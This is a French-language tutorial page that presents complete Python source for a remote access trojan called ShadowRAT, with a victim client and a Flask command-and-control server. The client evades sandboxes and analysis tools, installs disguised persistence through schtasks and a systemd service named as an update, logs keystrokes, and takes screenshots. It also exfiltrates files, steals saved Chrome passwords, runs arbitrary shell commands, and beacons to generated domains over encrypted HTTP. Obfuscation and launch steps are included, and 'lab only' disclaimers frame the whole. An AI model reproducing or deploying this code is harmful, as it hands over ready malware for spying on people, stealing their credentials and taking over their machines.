Platon-Y ShadowRAT Ultime

Démo RAT boosté réaliste en Python pour lab – Furtivité LOLBAS, comm HTTP, DGA, anti-analysis, priv esc, lateral, vol browser creds/cookies.

Développé par Platon-Y pour PCTamalou

Attention, Apache !

Lab isolé only ! Ces upgrades réalistes sont pour éduquer sur les menaces – abus = prison. Éthique first, boss. 😎

1. Introduction

On booste ShadowRAT en mode ultime : persistence discrète (schtasks/systemd), LOLBAS, HTTP C2, DGA, anti-analysis (checks processus/sleep random), priv esc simulé, lateral (net/arp), et vol browser (Chrome creds/cookies via sqlite). Inspiré réels malwares, mais pour lab éthique. Technique, audacieux – comme nous ! 🚀😄

2. Installation & Lab Setup

Deux machines isolées. Ajoute requests pour HTTP, sqlite3 pour browser steal.

# Sur les deux
sudo apt install python3 python3-pip tor -y
pip3 install cryptography stem pyarmor pyinstaller pillow pynput requests
# Tor start
sudo systemctl start tor
# Lab: Attaquant http://c2.example.com, Victime beacon
            

3. Script Client (Victime) - Ultime

Boosté : anti-analysis (Wireshark check, random sleep), persistence LOLBAS (schtasks/systemd), HTTP beacon, DGA, priv esc simu, lateral scan, browser steal (Chrome).

#!/usr/bin/env python3
# Platon-Y ShadowRAT Client Ultime - Lab éthique only
import socket
import subprocess
import os
import platform
import time
import random
import sqlite3
import requests
from cryptography.fernet import Fernet
from stem.control import Controller
import sys
import base64
from pynput.keyboard import Listener as KeyListener
from PIL import ImageGrab
import threading
import hashlib  # Pour DGA

KEY = b'YOUR_BASE64_KEY_HERE=='  # Simule dynamique via C2

logs = []  # Keylogger

def generate_dga_domain(seed):
    """Simple DGA exemple inspiré réels (comme Conficker)"""
    h = hashlib.md5(str(seed).encode()).hexdigest()
    domain = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(8)) + '.' + h[:3] + '.com'
    return 'http://' + domain + '/api/checkin'

def is_analysis_env():
    """Anti-analysis boosté"""
    checks = [
        os.path.exists("/proc/xen"),
        "VMware" in platform.uname()[4],
        "VirtualBox" in subprocess.getoutput("dmidecode -s system-product-name"),
        any(p in subprocess.getoutput("ps aux") for p in ["wireshark", "procmon", "tcpdump"])  # Checks processus
    ]
    return any(checks)

def random_sleep():
    time.sleep(random.randint(30, 120))  # Sleep random pour evasion sandbox

def rotate_tor():
    try:
        with Controller.from_port(port=9051) as controller:
            controller.authenticate()
            controller.signal("NEWNYM")
    except:
        pass

def add_persistence_lolbas():
    if platform.system() == "Windows":
        # LOLBAS avec schtasks
        subprocess.run('schtasks /create /tn "UpdateService" /tr "{} {}" /sc onlogon /rl highest'.format(sys.executable, os.path.abspath(__file__)), shell=True)
    elif platform.system() == "Linux":
        # Systemd discret
        service = '[Unit]\nDescription=Update Service\n[Service]\nExecStart={} {}\n[Install]\nWantedBy=multi-user.target'.format(sys.executable, os.path.abspath(__file__))
        with open('/etc/systemd/system/update.service', 'w') as f:
            f.write(service)
        subprocess.run('systemctl enable update.service', shell=True)

def keylogger_start():
    def on_press(key):
        logs.append(str(key))
    listener = KeyListener(on_press=on_press)
    listener.start()

def screenshot():
    random_sleep()
    img = ImageGrab.grab()
    img.save("/tmp/screenshot.png")
    with open("/tmp/screenshot.png", "rb") as f:
        return f.read()

def exfil_file(path):
    random_sleep()
    if os.path.exists(path):
        with open(path, "rb") as f:
            return f.read()
    return b"File not found"

def priv_esc_simu():
    """Simu priv esc basique (ex: check SUID ou sudo -l)"""
    return subprocess.getoutput("sudo -l") if platform.system() == "Linux" else subprocess.getoutput("whoami /priv")

def lateral_scan():
    """Lateral movement simu (net/arp)"""
    if platform.system() == "Windows":
        return subprocess.getoutput("net view")
    else:
        return subprocess.getoutput("arp -a")

def steal_browser_creds():
    """Vol Chrome creds/cookies (exemple réaliste)"""
    try:
        chrome_path = os.path.expanduser("~/.config/google-chrome/Default/Login Data") if platform.system() == "Linux" else os.path.expanduser(r"~\AppData\Local\Google\Chrome\User Data\Default\Login Data")
        conn = sqlite3.connect(chrome_path)
        cursor = conn.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
        creds = cursor.fetchall()
        return str(creds)
    except:
        return "No creds found"

def beacon(c2_url):
    f = Fernet(KEY)
    while True:
        random_sleep()
        try:
            response = requests.get(c2_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'})
            if response.status_code == 200:
                encrypted_command = base64.b64decode(response.content)
                command = f.decrypt(encrypted_command).decode()
                if command == "exit":
                    break
                elif command.startswith("exfil "):
                    file_data = exfil_file(command.split(' ', 1)[1])
                    encrypted_data = f.encrypt(file_data)
                    requests.post(c2_url, data=base64.b64encode(encrypted_data), headers={'User-Agent': 'Mozilla/5.0...'})
                elif command == "priv_esc":
                    output = priv_esc_simu()
                elif command == "lateral":
                    output = lateral_scan()
                elif command == "steal_browser":
                    output = steal_browser_creds()
                elif command == "keylog":
                    output = ''.join(logs)
                    logs.clear()
                elif command == "screenshot":
                    output = screenshot()
                else:
                    output = subprocess.getoutput(command)
                encrypted_output = f.encrypt(output.encode() if isinstance(output, str) else output)
                requests.post(c2_url, data=base64.b64encode(encrypted_output), headers={'User-Agent': 'Mozilla/5.0...'})
        except:
            pass

if __name__ == "__main__":
    if is_analysis_env():
        sys.exit(0)
    add_persistence_lolbas()
    rotate_tor()
    threading.Thread(target=keylogger_start).start()
    seed = int(time.time())  # Pour DGA
    c2_url = generate_dga_domain(seed)
    beacon(c2_url)
            

Obfuscation Client

pyarmor obfuscate --restrict 2 client.py
pyinstaller --onefile obfuscated_client.py
            

4. Script Server (Attaquant) - Ultime

Adapté pour HTTP, commandes boostées : priv_esc, lateral, steal_browser.

#!/usr/bin/env python3
# Platon-Y ShadowRAT Server Ultime - Lab éthique only
import base64
from cryptography.fernet import Fernet
from flask import Flask, request, jsonify

app = Flask(__name__)
KEY = b'YOUR_BASE64_KEY_HERE=='
f = Fernet(KEY)

@app.route('/api/checkin', methods=['GET', 'POST'])
def checkin():
    if request.method == 'GET':
        # Envoie commande (simu, en vrai stocke en DB pour multi-clients)
        command = input("RAT> ")  # Pour démo console
        encrypted = f.encrypt(command.encode())
        return base64.b64encode(encrypted)
    elif request.method == 'POST':
        data = base64.b64decode(request.data)
        decrypted = f.decrypt(data)
        if "screenshot" in request.headers.get('Command', ''):
            with open("screenshot.png", "wb") as img:
                img.write(decrypted)
            print("[+] Screenshot sauvé")
        elif "exfil" in request.headers.get('Command', ''):
            with open("exfil_file", "wb") as file:
                file.write(decrypted)
            print("[+] Fichier exfiltré")
        else:
            print(decrypted.decode())
        return "OK"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)  # Simu C2 web
            

5. Manuel d’Utilisation en Lab

5.1 Bienvenue dans le Lab Ultime

Apache, du lourd : client beacon HTTP/DGA, anti-analysis, persistence LOLBAS, commandes comme 'priv_esc', 'lateral', 'steal_browser'. Test isolé ! 😈

5.2 Prépare le Terrain

Génère KEY, setup C2 domain pour DGA simu.

5.3 Lance l'Attaque

# Attaquant (Flask C2)
python3 server.py
# Victime
python3 client.py
            

5.4 Fonctionnalités – RAT Réaliste

5.5 Éthique – Guerrier Juste

Lab only, ou prison – taquine, mais vrai, LPT Master ! 😄

5.6 Logo – Platon-Y

            	        ▄▀▄     ▄▀▄
            	       ▄█░░▀▀▀▀▀░░█▄
            	   ▄▄  █░░░░░░░░░░░█  ▄▄
            	  █▄▄█ █░░●░░░░░●░░░█ █▄▄█
            	 ▄▄▀░░░▀█░░░░▀░░░░█▀░░░▀▄▄
            	█░░░░░░░▀▄░░░░░░░▄▀░░░░░░░█
            	▀▄░░░░░░░░▀▀▄▄▄▀▀░░░░░░░░▄▀
            	  ▀▄▄░░░░░░░░░░░░░░░░░░▄▄▀
            	     ▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀
            

6. Crédits

Par Platon-Y pour PCTamalou. Lab légal only !

x